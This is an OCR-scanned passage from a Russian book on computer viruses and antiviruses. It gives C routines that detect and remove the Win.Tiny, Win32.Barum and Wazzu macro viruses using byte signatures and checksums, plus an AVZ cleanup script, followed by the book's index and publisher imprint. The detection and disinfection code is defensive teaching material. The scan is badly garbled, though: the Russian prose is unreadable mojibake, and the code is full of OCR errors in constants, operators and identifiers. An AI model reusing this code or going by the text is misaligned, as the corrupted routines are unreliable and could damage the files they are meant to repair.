3aecfa h aa^ee HaHMeHOBaHHH nojieft MZ-3arojioBKa aaHU b cooTBeT- 
ctbhh c coflepacHMHM 4>aiuia «winnt.h». Tan <new_rlo onncaH b 3a- 
rojioBOHHOM 4>aitne «newexe.h», KoropwH nocTaBJweToi BMecTe c kom- 
imjiHTopaMH ot Microsoft h Watcom, ho oTcjrrcTByeT b npoayicnix ot 
Borland. Il03T0My onncaHHe rana npHBegeHO HHace.

((include <windows.h>
((include <winnt.h>
((include <stdio.h>
((include <fcntl.h>
((include <sys/stat. h>
((include <io.h>

unsigned char sign_tiny[]={0x9C, 0x60, OxIE, 0x06, 0xB8, 0x86, 0x16, OxCD, 0x2F, OxOB}; 
struct s_table { WORD ns_sector, ns_cbseg, ns_flags, nsjninalloc: }; 
struct new_rlc {char nr_stype, nr_flags; unsigned short nr_scff; char nr_segno, 
nr_res; unsigned short nr_entry; ); 
union cs_ip { WORD w[2]; DWORD csip; };

_IMAGE_D0S_HEADER mz_h; // D0S-3arohOBOK 
_IMAGE_0S2_HEADER ne_h; // NE-3aron0B0K 
struct s_table s_t; // CTpoKa Tagnnuu cerMeHTOB 
union cs_ip *a; // CSIP, paaaejieHHoe Ha CS m IP
struct new_rlc reloc; // CTpoKa TaSnvtuti nepeMemaeMwx cchjiok 
int n_rels; // K0/iH4ecTB0 nepeMeuaeMttx ccujiok
unsigned char buf[10]: // 5y<t>ep nofl CHmaTypy

void cure_wintiny(char *s) { i i  Yfla/ieHMe Bnpyca na ipaftia
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Int f, i; unsigned char c = 0x90; 
f = open(s, 0_RDWR|0_BINARY, S_IREAD|S_ WRITE);
lseek(f, (ULONG)s_t.ns_sector« (ULONG) (1«ne_h.ne_align)+(ULONG)a->w[O]+(UL0NG)s_t. 
ns_cbseg, SEEK_SET); 
read( f, &n_rels, 2);
for (i=0;i<n_rels;i++) read( f, &reloc, sizeof(struct new_rlc) );
a->w[0] = reloc.nr_entry; a->w[1] = reloc.nr_segno; // BoccTaHOBMTb TOMKy Bxoaa
ne_h.ne_cseg--; / /  YMeHbuiMTb kojimmgctbo cerMeHTOB
lseek(f, mz_h.e_lfanew, SEEK_SET); // IlepePiTvt na Windows-aarojiOBOK
write(f, &ne_h, sizeof(_IMAGE_0S2_HEADER) ); // flMcaTb Windows-aaroflOBOK
chsize(f, (Ul0NG)s_t.ns_sector*(UL0NG)(1«ne_h.ne_align)+(W-0NG)a->w[0]); // OTcenb
close(f);
>

in t infected_wintiny(char *s) { H  noncK Bupyca b ijiaiine 
in t f ,  i;
f = open(s, 0_RDWR|0_BINARY, S_IREAD|S_IWRITE);
read(f, &mz_h, sizeof(_IMAGE_DOS_HEADER) ); // MuTaTb 00S-3aronoBOK
if (mz_h.ejnagic! =IMAGE_DOS_SIGNATURE) return 0; // 8 HaMane He 'HZ'
if (mz_h.e_lfarlc<0x40) return 0; // 3to He Windows-nporpaMMa
lseek(f, mz_h.e_lfanew, SEEKJ5ET); // riepeiiTM Ha Wind0ws-3aron0B0K
read(f, &ne_h, sizeof(_IMAGE_0S2_HEADER) ); // HHTaTb Wind0WS-3ar0Ji0B0K
if (ne_h.nejnagic!=IMAGE_0S2_SIGNATURE) return 0; // Dto He NE-nporpaMMa 
lseek(f, mz_h.e_lfanew + (ULONG) ne_h.ne_segtab, SEEK_SET ); 
a = (union cs_ip *) &ne_h.ne_csip; // PasfiMTb ne_csip Ha cs m ip 
for (i=0; i<a->w[l]; i++) read(f,&s_t,sizeof(struct s.table)); // HmaTb TaS/wuy

H  cerMeHTOB
lseek(f, (UL0NG)s_t. ns_sector*(UL0NG)(1«ne_h. ne_align)+

(UL0NG)a->w[0],SEEK_SET); // 3flecb tom k3 Bxoaa! 
react(f, buf, 10); // HMTaTb 6y4»p 
close (f);
if (!strncap(sign_tiny, buf, 10)) return 1; else return 0;

}

2.5. npotieuypu AeTdcmpoBaHMfi m /leneHMsi Bupyca 
Win32.Barum.1536
B  cocTaB CHTHaTypu He Bxtyyrr caMbie nepBbie 6aHTU BHpycHoro Koaa, 

TaK x a x  BHHHCJieHHe flejibTa-CMemeHHH xapaicrepHO 6 ojib iuoro  k o j i h -  

necTBa BHpycoB.

((include <windows.h>
((include <winnt.h>
((include <stdio.h>
((include <fcntl.h>
((include <sys/stat. h>
((include <io.h>

unsigned char sign_barum[]={0x8B, OxDD, 0x81, OxED, 0x05, 0x10, 0x40, 0x00, 0x81, OxEB}; 
_IMAGE_D0S_HEADER mz_h; / /  D0S-3arojioBdK
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_IMAGE_NT_HEADERS pe_h; / /  NE-3a r0n0B0 K 
_IMAGE_SECTION_HEADER se; 11 CTpoKa TaS/imw cbkumB 
unsigned char b u f[1 6 ]; / /  5y<t>ep noa CMrHaTypy

void cure_barum(char »s) { // yaa/ieHMe Bupyca n3 patina 
int f, i; DWORD oldep; unsigned char c = 0x90; 
f = open(s, 0_RDWR|0_BINARY, S_IREAD|S_IWRITE); 
lseek( f, se.PointerToRawData+

pe_h.OptionalHeader.AddressOfEntryPoint-se.VirtualAddress+0x15, SEEK_SET); 
read(f, &oldep, 4); // M3B/ieMb to Bupyca CTapyo tomky Bxoaa 
lseek( f, se.PointerToRawData+peJi.OptionalHeader.AddressOfEntryPoint- 

se.VirtualAddress, SEEKJ5ET); 
for (i=0; Kse.SizeOfRawData; i++) write(f, &c, 1); // 3aHHCTMTb ceKuwo 
pe_h.Opt ionalHeade r.Add ressOf Ent ryPo int=oldep; 
lseek(f, mz_h.e_lfanew, SEEK_SET);
write(f, &pe_h, sizeof(_IMAGE_NT_HEADERS)); // BepHyTb cTapyio EntryPoint 
close(f);
>

int infected_barum(char *s) { // (Iomck Bupyca b tyaPine 
int f, i;
f  = open(s, 0_RDWR|0_BINARY, S_IREAD|S_IWRITE);
read(f, &mz_h, sizeof(_IMAGE_DOS_HEADER) ); // HMTaTb D0S-3aroflOBOK
if (mz_h.e_maBic!=IMAGE_DOS_SIGNATURE) return 0; // BHaMaJie He 'MZ'
if (*z_h.e_lfarlc<0x40) return 0; // 9ro He Windows-nporpaMMa
lseek(f, mz_h.e_lfanew, SEEK_SET); // flepeiiTH na Windows-3ar0;i0B0K
read(f, &pe_ti, sizeof(_IMAGE_NT_HEADERS)); // MuTaTb Windows-3arojioBCK
if (pe_h.Signature!=IMAGE_NT_SIGNATURE) return 0; // 3to He NE-nporpaMMa 
lseek(f, mz_h.e_lfanew+0xF8, SEEK_SET ); //Ha ra6miuy ceicuMii
for (i=0;i<pe_h.FileHeader.Number0fSections;i++) { 
read(f, &se, sizeof(_IMAGE_SECTI0N_HEADER));
if ((se. Vi rtualAddress<=pe_h.OptionalHeader.AddressOfEntryPoint) &&

(se.VirtualAddress+se.Misc.VirtualSize>
pe_h.0ptionalHeader.Address0fEntryPoint)) { // CeKUnp c to4kow Bxoaa 
lseek( f, se.PointerToRawData+pe_h.OptionalHeader.AddressOfEntryPoint- 

se.VirtualAddress, SEEK_SET); // 3flecb TOMKa Bxoaa!
read(f, buf, 16);
if (!strncmp(&buf[6], sign_barunt, 10)) return 1; else return 0;

>
>

close(f); return O; / /  Hvwero He Haiifleno
>

2.6. npoiteAypu AeTeKTMpoBaHMB m jneHeHun BHpycoB 
Macro.Word.Wazzu.gw u Macro.Word97.Wazzu.gw
HocKo.fibKy BHpyc Macro.Word97.Wazzu.gw He nojiHMopcJmbni, pacna- 
KOBKa h  aMyjiHUHH ero V B A - n o ^ a  H e  Tpe6yioTca. JX im  aeTeicrapoBaHHfl 

o 6 o h x  BHpycoB BMecTo cnraaTyp Hcnojib3yioTca 32-6HTOBbie KOHTpojib- 
Hbie cyMMbi M a p n a  Azyiepa.
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Gny*e6HMe npoqe^ypw h rjio6aJii»HMe kohctjihth.

•include <windows.h>
•include <ole2.h>
•include <sys/stat.h>
•include <fcntl.h>
•include <io.h>
((include <stdio.h>

•define VIR97 0xDB034DA2 
•define VIR06 0x1DD1303B 
•define HAXBUF OxFFFF 
•define NAMELEN 256 
#define DOCFILESIGN OxEOIICFDO 
•define VERSIONNUM 0x68ffff 
•define NODOCFILE 0 
•define W0RD6FILE 1 
•define W0RD97FILE 2

BYTE Buf[MAXBUF]; // Hefio/ibiiioii 6y<Jjep nofl MaKpoc

II  PaCMeT KOHTpO/lbHOM C y M M b I--------------------------------------------------------------------------------------------------------------

DWORD adler32(unsigned char *buf, DWORD buflen) {
DWORD s1 = 1, s2 = 0, n;
for (n=0; n<buflen; n++) { s1 = (s1+buf[n])%65521; s2 = (s2+s1)#65521; >
return (s2 «  16) + si;

)

//Tun m BepcHft flOKyMeHTa----------------------------------------------------
int type_of_file(char *s) { 
int f;
DWORD file_sion; // Tun $a&na
DWORD doc_sign; // Bepcnfl MS Word
OLECHAR FileNaae[NAMELENj; // Unicode-HMt) ftns structured storage
LPSTORAGE pIStorage=NULL; // Mmepitieiic xpanwiwna
LPSTREAM pIStream=NULL; // ^h iepi^e^c ndoKa
DWORD nr; / /  KojiMnecTBO npoHMTaHHUx 6a£iT0B
// OnpeneJieHMe m n a  QaOina

f  - open(s, 0_RD0NLY|0_BINARY, S_IREAD);
read(f. ifile.sign, 4); close(f);
if (file_sign!=DOCFILESIGN) return NODOCFILE; // 3to He docfile 

// MieHMe noTOKa WordDocument 
mbstowcs(FileName, s, NAMELEN);
StgOpenStorage(FileName,NULL,

STG«_READ|STGM_SHARE_EXCLUSIVE, NULL,0 ,&pIStorage); 
pIStorage->OpenStream(L"WordDocument",NULL,

STGM.READ|STGM_SHARE_EXCLUSIVE,0,ipIStream); 
pIStream->Read( &doc_sign, 4, &nr ); 
pIStrea!ii->Release(); pIStorage->Release();

/,/ Onpeae/ieHMe Bepcnn flOKyMema
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if (doc_sign<VERSIONNUM) return W0RD6FILE; else return W0RD97FILE;

>

// H3M6H9HMe nosMuMM meHHfl/3anMCM b TeKymeM n0T0Ke 
void str_seek(LPSTREAM str, DWORD ofst) { 
LARGE_INTEGER pos; ULARGE_INTEGER newpos; 
pos.u.HighPart = 0; pos. u. LowPart = (DWORD) ofst; 
str->Seek(pos, STREAM_SEEK SET, &newpos );

>

// OnpeaeJieHvie no3Munn HTeHMq/3anMCM e TeKyneM noTOKe 
void str_tell(LPSTREAH str, DWORD -ofst) { 
LARGE_INTEGER pos; ULARGE_INTEGER newpos; 
pos.u.HighPart = 0; pos. u. LowPart = 0; 
str->Seek(pos, STREAM_SEEK_CUR, inewpos );
•ofst = (DWORD) newpos.u.LowPart;

)

struct MH { // Maicpo3aronoBOK flns Word 6/7
BYTE vers; BYTE key; BYTE r0[l0]; DWORD mien; DWORD r1; DWORD mpos;

);

IIpoueflypH am  flereicrapoBaHHfl h yaajieHHH BHpyca H3 aoKjaneirra b  

<Jx>pMaTe MS Word 6 hot 7.

// floMCK Bupyca b aoKyMeHTe, c03flaHH0M b Word 6/7 ------------------------------
int infectedj#azzu06(char *s) {
OLECHAR FileName[NAMELEN]; // Unicode-twa jxnn structured storage 

// HHTepifeito xpaHM/iMiiia 
// HHTepi|ieiic noTOKa 
// no3nunB MaKpo3aronoBKa 
// finwHa MaKp03ar0Ji0BKa 
// CTapaa no3miM!i 
// KoHTpojibHaa cyMMa 
// K0/i»«ecTB0 npoMHTaHHwx CaiiTOB 
// CMmaTypa 0x10FF 
// KO/lkWeCTBO MaicpocoB 
// MaKposarodOBOK 
// flpM3HaK HanHMMfl Bttpyca

LPSTORAGE pIStorage=NULL; 
LPSTREAM pIStream=NULL;
DWORD
DWORD
DWORD
DWORD
DWORD
WORD
WORD

mh_off;
#h_len;
old_pos;
a32;
nr;
magic;
njnacr;

struct MH rah; 
int found; 
int i, j;

mbstowcs(FileName, s, NAMELEN); 
found = 0;
StgOpenStorage(FileNanie. NULL,

STGM_READ|STGM_SHARE_EXCLUSIVE, NULL,0,&pIStorage); 
pIStorage->OpenStream(L"WordDocument",NULL,

STGM_READISTGM_SHARE_EXCLUSIVE,0,&pIStream); 
str_seek(pIStrean, 0x118);
pIStream->Read(&mh_off, 4, &nr); / /  no3nuna MaicposarojiOBKa 
pIStream->Read(&mh_len, 4, Snr); / /  fljiMHa
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str_seek(pIStream, rah_off);
pIStrea*->Read(&«agiG, 2, &nr); // flonimo (m y  0x1FF
if (magic!=0x1FF) <pIStream->Release();pIStorage->Release();return 0;} // MaxpocoB Her 
pIStrea»->Read(&n_#acr, 2, Snr); I f  Kojimmsctbo MaKpocoB
if (Injnacr) {pIStream->Release();pIStorage->Release(); return 0;) // MaKpocoB HeT 
for (i=0; Knjnacr; i++) { // Urnoi no 3anncfiM MaKpo3aro/iOBKa
pIStream->Read( imh, sizeof(struct MH), &nr ); 
str_tell(pIStream, &old_pos); 
str_seek(pIStream, mh.mpos); 
pIStream->Read( Buf, mh.mlen, &nr );
if (nth.key) for (j=0;i<mh.mien; j++) Buf[j]=Buf[j]"mh.key; // Paciiw^poBKa MaKpoca 
a32 = adler32(Buf, mh.mlen); // PaCM6T KOHTpo/ibhCiw cyMMU 
if (a32==VIR06) found = 1; // CpaBHeHMe
str_seek(pIStream, old_pos);

}
pIStream->Release(); pISto rage->Release(); 
return found;

)

/ /  Yfla/ieHde Bnpyca m3 flOKyMeHTa, co3flaHHoro b Word 6 / 7 ----------------------------
void cure_wazzuQ6(char *s) {
OLECHAR FileName[NAMElEN]; // Unicode-MMfi am  structured storage
LPSTORAGE pIStorage=NULL; // HHTepiteiic xpaHWimua
LPSTREAM pIStream=NULL; // MHTepifieiic noTOKa
DWORD nr; // K0JiMMecTB0 npowaHHbix 6aHT0B
DWORD mh_off; // no3nntw MaKpo3aronoBKa
DWORD *h_len; // Hiinna MaKposaronoBKa
WORD n_*acr; // KonmecTBO MaKpocoB
WORD #agic; / /  CMmaTypa MaKpo3aro/ioBica

mbstowcs(FileNaine, s, NAMELEN);
StgOpenStorage(FileName,NULL,

STGM_READWRITE|STGM_SHARE_EXCLUSIVE, NULL.O.&pIStorage); 
pIStorage->OpenStream(L',WordDocuiiienf', NULL,

STGM_READWRITE|STGH_SHARE_EXCLUSIVE,0,&pISt ream); 
str_seek(pIStream, 0x118);
pIStream->Read(&inh_off, 4, &nr); // noawjM MaKposaronoBKa 
mh_len = 0;
pIStream->Write(&mh_len, 4, Snr); // 3anncaTb b A<WHy 0 fiaiiTOB 
str_seek(pIStream, mh_off); 
pIStream->Read(&magic, 2, &nr); 
n_macr=0;
pIStream->Wnte(&n_macr, 2, &nr); // 3anncaTb b KOJiwecTBO 0 MaKpocoB 
pIStream->Release(); pIStorage->Release();

>

Ilpoue^ypbi ffjia aeTeKrapoBaHHH h yaajieHna VBA-Bnpyca.
/ /  noMCK Bnpyca b flOKyMeHTe, c03fla.HH0M b Word 97+ 
in t  infected_wazzu97(char *s, LPSTORAGE Is )  {
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OLECHAR FileName[NAMELEN]; // Unicode-MMfl ana structured storage
LPENUMSTATSTG lpEnu»=NULL; // ItHTep̂ efto nepeMMCitMTejin
LPSTORAGE pIStorage=NULL; / /  MHTep^ei'c CTpyKTypwpo8aHHoro xpaHwnuina
LPSTORAGE pIStorage2=NULL; // MHTep$eite xpaHnnnma HUXHero ypoBHS
LPSTREAM pIStreani=NULL; // MHTep<ieifc ri0T0Ka
STATSTG stat; // OMepeflHafl 3anMCb b KaTa/iore
ULONG uCount; // CneTHUK nepeMMC/ieHHO
ULONG streamlen; // PeajibHas w m a  noToica
ULONG Ch_pOS; // riOSMUMfl HyHKa BHyTpM nOTOKa
ULONG a32; // KoHTpo/ibHan cyHMa BHpycHoro Koaa
int found; // npMSHaK BHpyca

if (! IS) { U  nepBblii BU30B
found = 0;
mbstowcs(FileName, s, NAMELEN);
StgOpenStorage(FileName, NULL,

STGM_READ|STGM_SHARE_EXCLUSIVE, NULL,0,&pIStorage); 
found = infected_wazzu97("”, pIStorage); 
pIStorage->Release(); 
return found;

>
else ( // HoBTOpHbiii bwsob 
ls->EnumElements(0, NULL, 0, MpEnum);
if (lpEnum) wftile (lpEnum->Next(1,&stat,&uCount)==S_0K) ! // nepemcfiiiTb 

if (stat. type==STGTY_STORAGE) { // 3to xpaHtnimiie 
ls->OpenStorage(stat.pwcsName,

NULL, STGM_READ|STGM_SHARE_EXCLUSIVE,NULL,0,&pIStorage2); 
found = infected.wazzuQyC"', pIStorage2 ); // PeKypCKBHO HupHyib b xpaHWikiue 
pIStorage2->Release();

else { // 3to n0T0K 
ls->OpenStream(stat.pwcsName,NULL,

STGM_READ|STGM_SHARE_EXCLUSXVE, 0 , SpISt ream); 
pIStream->Read(8uf, MAXBUF, Sstreamlen); / /  HMTaTb HaMa/io noTOKa 
pIS t ream->Release();
i f  (*(DW0RD *)&Buf[0]==Ox00011601) { / /  3to noTOK c MaxpocaMM 
ch_pos = stream len/2; / /  Romck HamiHaeM co BTopoK nonoBMHu 6y4>epa
w hile ((ch_pos<(s tream len-3 ))& & ((B uf[ch_pos]!=1)||

((Buf[ch_pos+2]&0xF0)! =OxBO))) ch_pos++; // (Io mc k 01 <XX> B<X> 
if (ch_pos < (streamlen-3)> { // H a w n ynaxoBaHHHii kob naxpoca
a32 = adler32( «Buf[ch_pos+3], streamlen-ch_pos ); // KoHTpofibHan cyMMa 
if (a32 == VIR97) found=1;

}
}

>
>

)
return found;

}

/ /  V’fla/ieHMe BHpyca ms flOKyMeHTa, C03flaHH0ro b Word 97+ ------------------------------------------
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void cure_wazzu97(char *s) {
OLECHAR F ileN a m e [N A M E L E N ]; / /  U n ic o d e - tw a  ftnn s t r u c t u r e d  s to r a g e

LPSTORAGE p IS to ra g e = N U L L ; / /  M H T ep fe iic  c T p y ia yp u p o B a H H o ro  xpaHWimua

LPSTREAM p IS trea in = N U L L ; / /  UHTepit>e&c noToi<a
DWORD m h _ o f f , m h _ len ; / /  n o 3nunn h  anma naK poaaro /ioB K a

DWORD n r ;  / /  Koim secTBO  npoMMTaHHUx/3anMcaHHbix SaviTOB

WORD » h ; / /  HMMTaTop n y c t o r o  MaKpo3aro jioB K a

nibstowcs(FileNa«ie, s, NAMELEN);
StgOpenStorage(FileName, NULL,

STGH_READWRITE|STGM_SHARE_EXCLUSIVE, NULL.O,ipIStorage); 
pIStorage->DestroyElement(L"Macros"); // YflajinTb xpaHM/iwuie "Macros" 
pIStorage->OpenStream(L''WordDocument", NULL,

STGH_READWRITEISTGH_SHARE_EXCLUSIVE, 0, &pIStream); 
str_seek(pIStream, 0x15A);
pIStream->Read(&mh_off, 4, &nr); // no3MUMR MaKpo3aro/ioeKa b ITable 
mh_len = 2;
p IS tr e a m -> W r ite (& ir ih _ le n , 4, & n r); // 3anncaTb fljiMHy nycToro aaronoBKa 
p IS t r e a m - > H e le a s e ( ) ;  

p IS t o r a g e - > 0p e n S t r e a m ( L ' ' l ia b le " ,  NULL,
STGM_READWRITEISTGM_SHARE_EXCLUSIVE, 0, &pIStream); 

str_seek(pIStream, nh_off); 
mh = 0x40FF;
pIStream->Write(&mh, 2, &nr); // 3 a n n c a T b  m m am o nydoro 3aronoBKa
pIStream->Release();
pIStorage->Release();

>

2 .7 . Ckpmiit aHTHBHpyca AVZ pjna AeTeKTHpOBaHHR
h  neseHHsi no*m>Boro MepBa E-Worm.Avron.a
Jinn ycnenmoro BunojiHeHHH cKpHirra aHTHBHpyc AVZ aoraceH 6htj> 
3anymeH c npHBHJienwMH AaMHHHcrpaTopa. Bo BpeMH pafkmi cicpHn- 
Ta 6yaeT oncjnoneH aocTyn k ceTH, a nocjie ero 3aBepmeHHfl KOMnbiarep 
aBTOMaTmecKH nepe3arpy3HTcs.

// (Iohck carHarypbi b ifaiijie
Function ScanFile(AFileName : string) : 3oolean;
begin
SetStatusBarText(AFileName);
LoadFileToBuffer(AFileName);
if SearchSign('75 2C 2A 65 07 8A 37 6C', 4096, 0) >= 0 

then Result:=true else Result:=false;
FreeBuffer;

end;

// CKaHHpoBaHHe aepeBa KaTa/ioroB
Procedure ScanDir(ADirName : string; AScanSubOir : boolean); 
var FS : TFileSearch;
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begin
ADirName : = NormalDir(ADirName);
FS := TFileSearch.Create(nil);
FS.FindFirst(ADirName + '*.*'); 
while FS.Found do begin 
if FS.IsDir then begin 

if AScanSubDir and (FS.FileName <> '.') and (FS.FileName <> '..') then 
ScanDir(ADirName + FS.FileName, AScanSubOir) 

end else
if ScanFile(ADirName + FS.FileName) then begin 
AddToLogCDelete '+ADirName+FS.FileName);
DeleteFile(ADirName + FS.FileName);
AddToLogCTry to remove from Registry '+ADirName + FS.FileName); 
DelAutorunByFileName(ADir«ame + FS.FileName); 

end;
FS.FindNext; 

end;
FS.Free; 

end;

var i : integer; 

begin
ExecuteFileCnet.exe', ’stop tcpip /y\ 0, 15000, true);
RefreshProcessList;
AddToLog('Humber of processes= '+IntToStr(GetProcessCount)); 
for i := 0 to GetProcessCount - 1 do begin 
AddToLog(IntToStr(GetProcessPID(i)) + ' '+ GetProcessName(i)); 
if ScanFile(GetProcessName(i)) then begin 
AddToLog('Terminate ’+GetProcessName(i)); 
TerminateProcess(GetProcessPID(i));
AddToLog( Oelete '+GetProcessName(i));
DeleteFile(GetProcessName(i));
AddToLogCTry to remove from Registry '+GetProcessName(i)); 
DelAutorunByFileName(GetProcessName(i)); 

end 
end;
ScanDir('C:\', true);
DeleteFile('%WinDir%\NEWB00T. SYS');
DeleteFile('%Tmp%\LlSTRECP.DLL');
RebootWi ndows(t rue); 

end.



flpeAMeTHblM yK3 3 aTeAb

A
AHTHBHpyc, 596 

6paHflMayap (cJjaiipBOJUibi), 438 
BaKimHaTop, 48 

HHcneicrop (peBH3op), 47,596 
MOHHTOp, 47,593 
cicaHep, 47 
<J»r, 47

E
Eo-raer, 458 
ByncHT, 82,174

B
BHpyc, 15,26,67,104,160,266, 
479

B HCXOflHOM TeKCTe, 486 
b o4>hchbix npHJioxeHHax 
(MaKpoBHpyc), 25,310 
3arpy30HHMH, 25,49 
3ainH(J)poBaHHMH, 26,70,155 
KOMnbK)TepHBiH, 16,461 
MeraMop4)HMH, 27,167,300,567
Hepe3HaeHTHhiH,26, 111, 264
nojiHMopcJjHUH, 26,27,160, 296, 
346
nporpaMMHHH, 25 

pe3HfleHTHHH, 26,60,122,265 
cnyTHHK (KOMnaHtoH), 89, 244

r
reHepaTopu BHpycoB, 40,405

K
KoHTpojibHaa cyMwa, 541 

Mapna Afljiepa, 543

npocTaa (no KepmiraHy 
h Phthh), 548 
rana CRC, 257,542 

KyHHH, 473

M

MeTOflH, 564
aHa^H3a KOCBeHHMX 
npH3HaKOB, 533 
an n ap a rao H  TpaccnpoBKH , 552 
6jIOKHpOBaHHH BHpyCOB 

KpHnTorpa<J)HHecKHe, 601 
rJio6ajn>Horo noHCKa 

CHTHaTyp, 538
fleTeKTHpOBaHHH BH pycoB , 578 
aeTeKTHpoBaHHii MeraMopcJ)HBix 

BHpycoB, 571 
fleTeKTHpoBaHHfl nyTeM 
cpaBHeHHfl c n ra a T yp , 535 
aeTeKTHpOBaHHH 

3BpHCTHHeCKHe, 580 
npOTHBOfleHCTBHH SMyjWUHH

KOfla, 560
C5K3THH aaHHbIX LZNT1,365 
ycK opeH H fl n on cK a  b  BHpycHHX 

6a3ax, 544 
3MyjwuHH Koaa, 556

n
Ilo jiH T H K a pa3rpaHHHeHHfl 

a o c iy n a  

b  UNIX, 492 
b  Windows, 301 
<|)opMa.JibHaa, 597

nporpaMMHHH HHTep4>eHC
MAPI, 406 
Win32 API, 207



654 ❖ npeflMgTHbifl yxaaareAb
Win API, 205 
coK eTO B, 384

IIpOTOKOJI
ESMTP.412 
SMTP, 408

P
PeecTp Windows, 211,443

c
Cwraarypa BHpyca, 66,535, 537 

npepbiBHCTaa (MacKa), 160 
4>yHKUH0HajibHafl, 571 

CoiiHajibHaa iiH^ceHepHH, 423 
CTpyicrypa 

6jroica onHcamra ycTpoficTBa 
b LE-cJ)aibie, 281 
rjiaBHoft 3arpy30HH0H 3anncn
MBR, 56
3ar0Ji0Bica
ELF-nporpaMMW, 495 
3aro^oBKa
EXE-nporpaMMH, 106 
3arojioBKa LE-nporpaMM, 279 
3aroJioBKa NE-nporpaMMbi, 217 
3arojioBica PE-nporpaMMH, 229 
3arojioBKa 6 j io k o b  naMHTH 
(M C B ), 124 
3aro^oBKa floicyMeHTa
(F IB ), 359
3aroJioBKa CTpyKTypHpoBaHHoro 
xparaumma, 352 
3arpy30HHoro ceicropa, 54 
npe<J)HKca nporpaMMHoro 
cerMeffra (PSP ), 99 
chctcmhoh Ta6.nnubi (Jjaft.TOB 
(SFT), 151
Ta6;inuu HMnopTa 
NE-nporpaMMH, 221 
Ta6jinubi HMnopTa 
PE-nporpaMMbi, 237

Ta6jIHI]H 06l>eKT0B
LE-<J>aHjia, 280
Ta6jinnu cerMeHTOB 
ELF-nporpaMMW, 495 
Ta6jnm u cerMeHTOB 
NE-nporpaMMbi, 218 
Ta6^Hipj CeKUHH
ELF-nporpaMMH, 495 
Ta6jIHUbl CeKUHH 
PE-nporpaMMH, 234 
Ta6jiHn sKcnopTa PE- 
h DLL-nporpaMM, 241 

CipyKTypHpoBaHHoe 
xpaHHJinme, 311 
CTpyKiypHaa o6pa6orKa 
HCKjnoHeHHH (SEH), 196

T
Ta6jiHna nepeMemaeMbix 
cchjiok, 106,219,233 
TexHo;iorHH, 304 

HeBHaHMocTH (stealth, 
rootkit), 66,137,286
HeH3BeCTHOH TOHKH BXOfla
(EPO), 175,537 
o6<J)ycKanHH Koaa, 161 
nepM jrranH H  Koaa, 163,165 
nojiHMop4)HHe, 168 
(JjOpMHpOBaHHfl Koaa
b CTeKe, 298

y
Yh3bhmocth b nporpaMMHOM 
o6ecneMeHHH, 418

o

OopMajibHoe onpe^eJieHHe 
BHpyca 

Ha ocHQBe \, 469,472, 475



ripeAMgn-tbtfi yK aaareA b  ❖  655
Ha ocHOBe a6cTpaKTHtix 
BMMHCJiHTejieft, 462,476

H

HepBb, 27,501 
noHTOBufi, 27,401 
ceTeBOH, 27,414 
<J)aH.flOBhm, 243

9

S kciijiohtm , 423
3lIH4eMHH BHpycoB
h nepBeft, 508,520

SIR-MOflem>, 517 
SIS-Mo^ejib, 516 
SI-Moaejn>, 514 
b CJiyqadHBix cerax, 530 
MeflfleHHtie, 527 
MOflejra, 522
MOfleJIB C aJIbTepHaTHBHMM 

COCTOHHMeM, 519 
npocTaa 3KcnoHeHimajihHa« 
Moae/n>, 510



Khhth H3flaTeabcrBa «,ZIMK llpeco mojkho 3aKaaaTi> b ToproBo-H3- 
flaTejibCKOM xoJUHHre «AJIb5IHC E Y K O  HaJoaceHHHM: iwaTe*»M, 
BNcjiaB OTKpbmcy hjih nncbMO no noqTOBOMy aapecy: 123242, MocKBa, 
a/a 20 hjih no sjieicrpoHHOMy a&pecy: orders@aIians-kniga.ru.

nPH cx|)opMJieHMH 3aica3a CJieayer yKa3an> aapec (ikvihoctmo), no ko- 
TopoMy acmdkhu 6bm> BMCJiaHbi khhth; <|>aMHJiHK>, hma h oTHecTBO ncwiy- 
qaTejia. )KejiaTejn>HO Tajotce yKa3an> CBoft Teae4>oH h ajieicrpoHHMft aapec.

3th khhth bh  Moxere 3aKa3aTb h b HHTepHeT-Mara3Kite', www.alians- 
kniga.ru.

OirroBue 3aKynKrc tcji. (499) 725-54-09, 725-50-27; sjieKTpoHnwft 
aapec books@alians-kniga.ru.

K-TOMeHTbeB KOHCTaHTHH EBreHbeBHM

KoMnbioTepHbie BHpycw h  aHTHBHpycw: 
B3rjifla nporpaMMHCia

DiaBHbrii pe^aicrop Moeuan /I. A. 
dm@dmk-press.ru 

KoppeKTop CuHSteea L  M.
BepcTKa Hamoea A. A. 

JXn3Ziia o6jio5kkh Moeuan A . T.

IIoflnHcaHo b neMarb 23.01.2013. OopMaT 60x90 '/16. 
TapHHTypa «IIeTep6ypi>. ITenaTb o^cerHaa.

Yen. nen. ji. 41. Tnpaac 200 3K3.
Mb

Be6-caiiT mnaTenbCTB'd: www.d rnk-press.ru

mailto:orders@aIians-kniga.ru
mailto:books@alians-kniga.ru
mailto:dm@dmk-press.ru
http://www.d

